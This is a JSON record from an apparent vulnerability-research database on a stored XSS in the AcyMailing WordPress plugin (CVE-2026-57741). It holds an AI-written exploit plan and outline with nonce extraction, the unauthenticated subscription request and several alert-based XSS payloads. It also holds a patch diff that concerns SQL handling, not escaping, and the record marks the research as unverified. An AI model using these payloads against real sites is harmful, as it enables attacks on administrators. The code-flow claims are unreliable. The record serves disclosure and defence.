[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fdxL7UYqK6dXrYdn1EjPJTilUHpDs3DzXqwc0u9lNGvI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57741","acymailing-an-ultimate-newsletter-plugin-and-marketing-automation-solution-for-wordpress-unauthenticated-stored-cross-si","AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress \u003C= 10.11.0 - Unauthenticated Stored Cross-Site Scripting","The AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 10.11.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","acymailing",null,"\u003C=10.11.0","10.11.1","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-06 00:00:00","2026-07-14 19:55:30",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F90ea439b-48a6-4b21-a277-35db458e5a7a?source=api-prod",9,[22,23,24,25,26,27,28,29],"back\u002FClasses\u002FActionClass.php","back\u002FClasses\u002FCampaignClass.php","back\u002FClasses\u002FFieldClass.php","back\u002FClasses\u002FFollowupClass.php","back\u002FClasses\u002FListClass.php","back\u002FClasses\u002FMailClass.php","back\u002FClasses\u002FUserClass.php","back\u002FControllers\u002FDashboardController.php","researched",false,3,"This research plan outlines the steps required to analyze and exploit **CVE-2026-57741**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the AcyMailing plugin.\n\n### 1. Vulnerability Summary\nThe AcyMailing plugin for WordPress (versions \u003C= 10.11.0) fails to sufficiently sanitize user input during the unauthenticated subscription process and fails to escape that data when it is rendered in the administrative dashboard and subscriber management pages. Specifically, the `name` field (and potentially custom fields) provided during subscription is stored directly in the `#__acym_user` table. When an administrator views the subscriber list or the dashboard, the malicious payload executes in their browser context.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `acymailing_front`\n*   **Target Parameters:** `ctrl=frontusers`, `task=subscribe`\n*   **Vulnerable Parameter:** `user[name]` (Payload carrier)\n*   **Authentication:** None (Unauthenticated)\n*   **Preconditions:** A mailing list must exist, and the subscription functionality must be accessible (e.g., via a shortcode).\n\n### 3. Code Flow\n1.  **Entry:** An unauthenticated user sends a POST request to `admin-ajax.php?action=acymailing_front`.\n2.  **Routing:** The request is processed by the plugin's front-end dispatcher, which routes it to `AcyMailing\\Controllers\\FrontusersController::subscribe()`.\n3.  **Input:** The controller retrieves user data using `acym_getVar('array', 'user')`.\n4.  **Storage:** The data is passed to `AcyMailing\\Classes\\UserClass::save()`. The `UserClass` (extending `AcymClass`) saves the raw or insufficiently sanitized `name` into the `#__acym_user` database table.\n5.  **Sink (Rendering):** An administrator navigates to the AcyMailing \"Users\" page (`wp-admin\u002Fadmin.php?page=acymailing_users`). The `AcyMailing\\Controllers\\UsersController` fetches users via `UserClass::getMatchingElements()` (found in `back\u002FClasses\u002FUserClass.php`).\n6.  **Execution:** The admin template iterates through the users and echoes the `name` field directly into the HTML table without using `esc_html()`.\n\n### 4. Nonce Acquisition Strategy\nAcyMailing requires a nonce for its front-end AJAX actions. This nonce is localized into a JavaScript variable on any page where a subscription form is present.\n\n1.  **Identify Shortcode:** The plugin uses `[acymailing_form]` to display the subscription form.\n2.  **Create Trigger Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Newsletter\" --post_status=publish --post_content='[acymailing_form listids=\"1\"]'\n    ```\n3.  **Navigate & Extract:** Use the `browser_navigate` tool to go to the new page.\n4.  **Extract Nonce:** The nonce is stored in the `acym_helper` JavaScript object.\n    ```javascript\n    browser_eval(\"window.acym_helper?.nonce\")\n    ```\n    *Note: The exact key might be `acym_helper.nonce`. If that fails, check `window.acym_ajax_nonce`.*\n\n### 5. Exploitation Strategy\nThe goal is to inject a stored XSS payload into the database via the subscription AJAX task.\n\n**Step 1: Setup Mailing List**\nEnsure at least one list exists for the user to join.\n```bash\nwp db query \"INSERT INTO wp_acym_list (name, type, active, visible) VALUES ('Exploit List', 'standard', 1, 1);\"\n```\n\n**Step 2: Perform the Injection**\nUse the `http_request` tool to send the malicious subscription request.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=acymailing_front&ctrl=frontusers&task=subscribe`\n*   **Method:** POST\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    user[email]=victim@example.com&user[name]=\u003Cimg src=x onerror=\"alert('XSS_SUCCESS')\">&acy_list_ids=1&nonce=[EXTRACTED_NONCE]\n    ```\n\n### 6. Test Data Setup\n1.  **Mailing List:** Create a standard list (ID 1).\n2.  **Subscription Page:** Create a page with the `[acymailing_form]` shortcode to facilitate nonce extraction.\n3.  **Administrator User:** Ensure an admin user exists to \"trigger\" the XSS by viewing the backend.\n\n### 7. Expected Results\n*   The AJAX request should return a JSON response indicating success (e.g., `{\"type\":\"success\", \"message\": \"...\"}`).\n*   The `wp_acym_user` table will contain a new entry where the `name` column holds the `\u003Cimg ...>` payload.\n*   When navigating to `wp-admin\u002Fadmin.php?page=acymailing_users`, the browser will execute the JavaScript in the `onerror` attribute, resulting in an alert.\n\n### 8. Verification Steps\nAfter sending the HTTP request, verify the database state using WP-CLI:\n```bash\nwp db query \"SELECT name FROM wp_acym_user WHERE email = 'victim@example.com'\"\n```\nConfirmation of the payload in the database proves the \"Stored\" nature of the XSS.\n\n### 9. Alternative Approaches\nIf the `user[name]` field is sanitized in a way that blocks `\u003Cimg ...>`, try these alternative payloads:\n*   **SVG Payload:** `user[name]=\u003Csvg\u002Fonload=alert(1)>`\n*   **Body Payload:** `user[name]=\u003Cbody onload=alert(1)>`\n*   **Custom Field Vector:** If the site has custom fields (check `back\u002FClasses\u002FFieldClass.php`), target `user[fields][ID]` where `ID` is a custom text field. The `store` method in `FieldClass.php` handles these values and may also lack sanitization.","The AcyMailing plugin for WordPress (\u003C= 10.11.0) is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 'user[name]' parameter during the subscription process. Attackers can inject arbitrary scripts that execute when an administrator views the subscriber list in the backend dashboard. This occurs because the plugin fails to sanitize user input on storage and lacks escaping on output.","\u002F\u002F back\u002FClasses\u002FUserClass.php line 53\npublic function getMatchingElements(array $settings = []): array\n{\n    $results = [];\n    $columns = '`user`.*';\n    if (!empty($settings['columns'])) {\n        foreach ($settings['columns'] as $key => $value) {\n            $settings['columns'][$key] = $key === 'join' ? $value : 'user.'.$value;\n        }\n        $columns = implode(', ', $settings['columns']);\n    }\n\n---\n\n\u002F\u002F back\u002FClasses\u002FFieldClass.php line 141\npublic function store(int $userID, array $fields, bool $ajax = false): void\n{\n    \u002F\u002F ... (logic for file uploads and processing fields)\n    if (empty($fields)) return;\n\n    foreach ($fields as $id => $value) {\n        $field = $this->getOneById($id);\n        \u002F\u002F ... (storage logic lacking sanitization)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.11.0\u002Fback\u002FClasses\u002FActionClass.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.11.1\u002Fback\u002FClasses\u002FActionClass.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.11.0\u002Fback\u002FClasses\u002FActionClass.php\t2025-11-17 10:05:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.11.1\u002Fback\u002FClasses\u002FActionClass.php\t2026-07-09 12:25:14.000000000 +0000\n@@ -116,7 +116,7 @@\n                 ON `action`.`condition_id` = `condition`.`id` \n             JOIN `#__acym_step` AS `step` \n                 ON `condition`.`step_id` = `step`.`id` \n-            WHERE `step`.`automation_id` = '.$id\n+            WHERE `step`.`automation_id` = '.intval($id)\n         );\n         array_map([$this, 'fixTypes'], $actions);\n \n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.11.0\u002Fback\u002FClasses\u002FUserClass.php\t2026-06-12 13:55:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.11.1\u002Fback\u002FClasses\u002FUserClass.php\t2026-07-09 12:25:14.000000000 +0000\n@@ -59,7 +59,7 @@\n         $columns = '`user`.*';\n         if (!empty($settings['columns'])) {\n             foreach ($settings['columns'] as $key => $value) {\n-                $settings['columns'][$key] = $key === 'join' ? $value : 'user.'.$value;\n+                $settings['columns'][$key] = $key === 'join' ? acym_secureDBColumn($value) : 'user.'.acym_secureDBColumn($value);\n             }\n             $columns = implode(', ', $settings['columns']);\n         }\n... (truncated)","1. Identify a public-facing page on the target site where the AcyMailing subscription form (shortcode [acymailing_form]) is active.\n2. Extract the AJAX nonce from the frontend source code, specifically from the 'acym_helper.nonce' or 'acym_ajax_nonce' JavaScript variables.\n3. Construct an unauthenticated HTTP POST request to '\u002Fwp-admin\u002Fadmin-ajax.php?action=acymailing_front&ctrl=frontusers&task=subscribe'.\n4. Include a payload in the 'user[name]' parameter (e.g., \u003Cimg src=x onerror=alert(document.domain)>) along with a dummy email and a valid list ID (e.g., 'acy_list_ids=1').\n5. Submit the request. The plugin will store the unsanitized name payload in the 'wp_acym_user' table.\n6. The payload will execute whenever an administrator views the Users list in the plugin's backend (wp-admin\u002Fadmin.php?page=acymailing_users).","gemini-3-flash-preview","2026-07-25 09:28:32","2026-07-25 09:29:39",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","10.11.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facymailing\u002Ftags\u002F10.11.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Facymailing.10.11.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facymailing\u002Ftags\u002F10.11.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Facymailing.10.11.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facymailing\u002Ftags"]